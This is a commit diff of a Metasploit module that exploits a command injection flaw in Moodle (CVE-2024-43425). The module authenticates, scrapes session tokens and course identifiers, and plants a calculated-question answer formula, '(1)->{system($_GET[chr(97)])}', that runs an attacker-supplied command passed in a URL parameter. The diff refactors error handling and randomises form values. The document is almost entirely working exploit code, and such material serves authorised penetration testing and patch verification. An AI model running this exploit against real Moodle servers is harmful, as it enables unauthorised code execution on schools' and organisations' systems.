@@ -8,8 +8,8 @@ def initialize(info = {})
8
8
info ,
9
9
'Name' => 'Moodle Remote Code Execution (CVE-2024-43425)' ,
10
10
'Description' => %q{
11
- This module exploits a command injection vulnerability in Moodle (CVE-2024-43425) to obtain remote code execution..
12
- Affected versions include 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11 and earlier unsupported versions.
11
+ This module exploits a command injection vulnerability in Moodle (CVE-2024-43425) to obtain remote code execution.
12
+ Affected versions include 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11, and earlier unsupported versions.
13
13
} ,
14
14
'License' => MSF_LICENSE ,
15
15
'Author' => [
@@ -50,8 +50,8 @@ def initialize(info = {})
50
50
Opt ::RPORT ( 80 ) ,
51
51
OptString . new ( 'USERNAME' , [ true , 'Username to authenticate to the system. Needs to be allowed to add questions to a quiz.' ] ) ,
52
52
OptString . new ( 'PASSWORD' , [ true , 'Password for the user' ] ) ,
53
- OptString . new ( 'COURSEID' , [ true , 'The course ID. Can be retrieved from the URL when the course is selected (e.g., <IP>/moodle/course/view.php?id=3)' ] ) ,
54
- OptString . new ( 'CMID' , [ true , 'The course module ID. Can be retrieved from the URL when the "Add question" button is pressed within a quiz of a course (e.g., <IP>/moodle/mod/quiz/edit.php?cmid=4)' ] ) ,
53
+ OptInt . new ( 'COURSEID' , [ true , 'The course ID. Can be retrieved from the URL when the course is selected (e.g., <IP>/moodle/course/view.php?id=3)' ] ) ,
54
+ OptInt . new ( 'CMID' , [ true , 'The course module ID. Can be retrieved from the URL when the "Add question" button is pressed within a quiz of a course (e.g., <IP>/moodle/mod/quiz/edit.php?cmid=4)' ] ) ,
55
55
OptString . new ( 'TARGETURI' , [ true , 'The URI for the Moodle web interface' , '/' ] )
56
56
]
57
57
)
@@ -69,13 +69,9 @@ def execute_command(cmd)
69
69
'uri' => normalize_uri ( target_uri . path , 'moodle/login/index.php?loginredirect=1' )
70
70
)
71
71
72
- unless res
73
- fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
74
- end
72
+ fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' ) unless res
73
+ fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from the target.' ) unless res . code == 200
75
74
76
- unless res . code == 200
77
- fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from the target.' )
78
- end
79
75
print_good ( 'Server reachable.' )
80
76
81
77
moodlesession = res . get_cookies . scan ( /MoodleSession=([^;]+)/ ) . flatten [ 0 ]
@@ -84,18 +80,16 @@ def execute_command(cmd)
84
80
85
81
html = res . get_html_document
86
82
logintoken = html . to_s . match ( /name="logintoken" value="([^"]+)"/ ) [ 1 ]
87
-
88
- unless logintoken
89
- fail_with ( Failure ::UnexpectedReply , 'logintoken not found.' )
90
- end
83
+ fail_with ( Failure ::UnexpectedReply , 'logintoken not found.' ) unless logintoken
91
84
vprint_status ( "logintoken: #{ logintoken } " )
92
85
93
86
print_status ( "Authenticating as #{ datastore [ 'USERNAME' ] } ..." )
94
87
res = send_request_cgi (
95
88
'method' => 'POST' ,
96
89
'uri' => normalize_uri ( target_uri . path , 'moodle/login/index.php' ) ,
97
90
'headers' => {
98
- 'Cookie' => "MoodleSession=#{ moodlesession } "
91
+ 'Cookie' => "MoodleSession=#{ moodlesession } " ,
92
+ 'keep_cookies' => true
99
93
} ,
100
94
'ctype' => 'application/x-www-form-urlencoded' ,
101
95
'vars_post' => {
@@ -106,25 +100,19 @@ def execute_command(cmd)
106
100
}
107
101
)
108
102
109
- unless res
110
- fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
111
- end
103
+ fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' ) unless res
112
104
113
105
moodlesession = res . get_cookies . scan ( /MoodleSession=([^;]+)/ ) . flatten [ 0 ]
114
106
fail_with ( Failure ::UnexpectedReply , 'MoodleSession not found.' ) unless moodlesession
115
107
vprint_status ( "MoodleSession: #{ moodlesession } " )
116
108
117
- html = res . get_html_document
118
-
119
109
moodleid1 = res . get_cookies . scan ( /MOODLEID1_=([^;]+)/ ) . flatten [ 1 ]
120
110
fail_with ( Failure ::UnexpectedReply , 'MOODLEID1_ not found.' ) unless moodleid1
121
111
vprint_status ( "MOODLEID1_: #{ moodleid1 } " )
122
112
123
- unless res . code == 303 && html . to_s . include? ( 'index.php?testsession=' )
124
- fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from the target.' )
125
- end
113
+ html = res . get_html_document
114
+ fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from the target.' ) unless res . code == 303 && html . to_s . include? ( 'index.php?testsession=' )
126
115
print_status ( 'Successfully authenticated.' )
127
-
128
116
testsession = html . to_s . match ( /index\. php\? testsession=(\d +)/ ) [ 1 ]
129
117
vprint_status ( "testsession: #{ testsession } " )
130
118
@@ -136,13 +124,8 @@ def execute_command(cmd)
136
124
'uri' => normalize_uri ( target_uri . path , "moodle/login/index.php?testsession=#{ testsession } " )
137
125
)
138
126
139
- unless res
140
- fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
141
- end
142
-
143
- unless res . code == 303 && ( html . to_s . include? ( '/my' ) || html . to_s . include? ( '/moodle/' ) )
144
- fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from the target.' )
145
- end
127
+ fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' ) unless res
128
+ fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from the target.' ) unless res . code == 303 && ( html . to_s . include? ( '/my' ) || html . to_s . include? ( '/moodle/' ) )
146
129
147
130
print_status ( 'Obtaining sesskey, courseContextId, and category...' )
148
131
vprint_status ( 'Obtaining sesskey...' )
@@ -151,39 +134,23 @@ def execute_command(cmd)
151
134
'headers' => {
152
135
'Cookie' => "MoodleSession=#{ moodlesession } ; MOODLEID1_=#{ moodleid1 } "
153
136
} ,
154
- 'uri' => normalize_uri ( target_uri . path , "moodle/mod/quiz/edit.php?cmid=#{ datastore [ 'CMID' ] } " ) # get dynamically later
137
+ 'uri' => normalize_uri ( target_uri . path , "moodle/mod/quiz/edit.php?cmid=#{ datastore [ 'CMID' ] } " )
155
138
)
156
139
157
- unless res
158
- fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
159
- end
160
-
161
- unless res . code == 200
162
- fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from the target.' )
163
- end
140
+ fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' ) unless res
141
+ fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from the target.' ) unless res . code == 200
164
142
165
143
html = res . get_html_document
166
144
sesskey = html . to_s . match ( /"sesskey":"([^"]+)"/ ) [ 1 ]
167
-
168
- unless sesskey
169
- fail_with ( Failure ::UnexpectedReply , 'sesskey not found.' )
170
- end
145
+ fail_with ( Failure ::UnexpectedReply , 'sesskey not found.' ) unless sesskey
171
146
vprint_status ( "sesskey: #{ sesskey } " )
172
147
173
148
course_context_id = html . to_s . match ( /"courseContextId":(\d +)/ ) [ 1 ]
174
-
175
- unless course_context_id
176
- fail_with ( Failure ::UnexpectedReply , 'courseContextId not found.' )
177
- end
178
-
149
+ fail_with ( Failure ::UnexpectedReply , 'courseContextId not found.' ) unless course_context_id
179
150
vprint_status ( "courseContextId: #{ course_context_id } " )
180
151
181
152
category = html . to_s . match ( /;category=(\d +)/ ) [ 1 ]
182
-
183
- unless category
184
- fail_with ( Failure ::UnexpectedReply , 'category not found.' )
185
- end
186
-
153
+ fail_with ( Failure ::UnexpectedReply , 'category not found.' ) unless category
187
154
vprint_status ( "category: #{ category } " )
188
155
189
156
print_status ( 'Injecting command...' )
@@ -222,15 +189,15 @@ def execute_command(cmd)
222
189
'mform_isexpanded_id_multitriesheader' => '0' ,
223
190
'mform_isexpanded_id_tagsheader' => '0' ,
224
191
'category' => "#{ category } ,#{ course_context_id } " ,
225
- 'name' => 'XXXXXXXXXXXXXXXX' ,
192
+ 'name' => Rex :: Text . rand_text_alpha ( 6 .. 10 ) ,
226
193
'questiontext[text]' => '<p>{b}</p>' ,
227
194
'questiontext[format]' => '1' ,
228
- 'questiontext[itemid]' => '424815274' ,
195
+ 'questiontext[itemid]' => rand ( 424810000 .. 424819999 ) , # '424815274',
229
196
'status' => 'ready' ,
230
197
'defaultmark' => '1' ,
231
198
'generalfeedback[text]' => nil ,
232
199
'generalfeedback[format]' => '1' ,
233
- 'generalfeedback[itemid]' => '940093981' ,
200
+ 'generalfeedback[itemid]' => rand ( 940090000 .. 940099999 ) , # '940093981',
234
201
'idnumber' => nil ,
235
202
'answer[0]' => '(1)->{system($_GET[chr(97)])}' ,
236
203
'fraction[0]' => '1.0' ,
@@ -240,32 +207,29 @@ def execute_command(cmd)
240
207
'correctanswerformat[0]' => '1' ,
241
208
'feedback[0][text]' => nil ,
242
209
'feedback[0][format]' => '1' ,
243
- 'feedback[0][itemid]' => '738798744' ,
210
+ 'feedback[0][itemid]' => rand ( 738790000 .. 738799999 ) , # '738798744',
244
211
'unitrole' => '3' ,
245
- 'penalty' => '0.3333333' ,
212
+ 'penalty' => rand ( 0.1333333 .. 0.7333333 ) , # '0.3333333',
246
213
'hint[0][text]' => nil ,
247
214
'hint[0][format]' => '1' ,
248
- 'hint[0][itemid]' => '562446571' ,
215
+ 'hint[0][itemid]' => rand ( 562440000 .. 562449999 ) , # '562446571',
249
216
'hint[1][text]' => nil ,
250
217
'hint[1][format]' => '1' ,
251
- 'hint[1][itemid]' => '161675382' ,
218
+ 'hint[1][itemid]' => rand ( 161670000 .. 161679999 ) , # '161675382',
252
219
'tags' => '_qf__force_multiselect_submission' ,
253
220
'submitbutton' => 'Save+changes'
254
221
}
255
222
)
256
223
257
- unless res
258
- fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
259
- end
224
+ fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' ) unless res
260
225
261
226
html = res . get_html_document
227
+ fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from the target.' ) unless res . code == 303 && html . to_s . include? ( 'question/bank/editquestion/question.php?qtype=calculated' )
262
228
263
- unless res . code == 303 && html . to_s . include? ( 'question/bank/editquestion/question.php?qtype=calculated' )
264
- fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from the target.' )
265
- end
266
-
267
- raw_res = res . to_s
268
- id = raw_res . match ( /&id=(\d +)/ ) [ 1 ]
229
+ location_header = res . headers [ 'Location' ]
230
+ id = location_header && location_header . match ( /&id=(\d +)/ )
231
+ id = id [ 1 ] if id
232
+ fail_with ( Failure ::UnexpectedReply , 'ID not found.' ) unless id
269
233
vprint_status ( "id value: #{ id } " )
270
234
271
235
res = send_request_cgi (
@@ -294,27 +258,21 @@ def execute_command(cmd)
294
258
}
295
259
)
296
260
297
- unless res
298
- fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
299
- end
261
+ fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' ) unless res
300
262
301
263
html = res . get_html_document
302
264
303
- unless res . code == 303 && html . to_s . include? ( 'question/bank/editquestion/' )
304
- fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from the target.' )
305
- end
265
+ fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from the target.' ) unless res . code == 303 && html . to_s . include? ( 'question/bank/editquestion/' )
306
266
307
267
cmd2 = URI . encode_www_form_component ( cmd )
308
268
res = send_request_cgi (
309
269
'method' => 'GET' ,
310
270
'headers' => {
311
271
'Cookie' => "MoodleSession=#{ moodlesession } ; MOODLEID1_=#{ moodleid1 } "
312
272
} ,
313
- 'uri' => normalize_uri ( target_uri . path , "/moodle/question/bank/editquestion/question.php?id=#{ id } &category=#{ category } &cmid=#{ datastore [ 'CMID' ] } &courseid=#{ datastore [ 'COURSEID' ] } &wizardnow=datasetitems&returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D#{ datastore [ 'CMID' ] } %26addonpage%3D0&appendqnumstring=addquestion&mdlscrollto=0&a=#{ cmd2 } " ) # get dynamically later
273
+ 'uri' => normalize_uri ( target_uri . path , "/moodle/question/bank/editquestion/question.php?id=#{ id } &category=#{ category } &cmid=#{ datastore [ 'CMID' ] } &courseid=#{ datastore [ 'COURSEID' ] } &wizardnow=datasetitems&returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D#{ datastore [ 'CMID' ] } %26addonpage%3D0&appendqnumstring=addquestion&mdlscrollto=0&a=#{ cmd2 } " )
314
274
)
315
275
316
- unless res
317
- fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
318
- end
276
+ fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' ) unless res
319
277
end
320
278
end
0 commit comments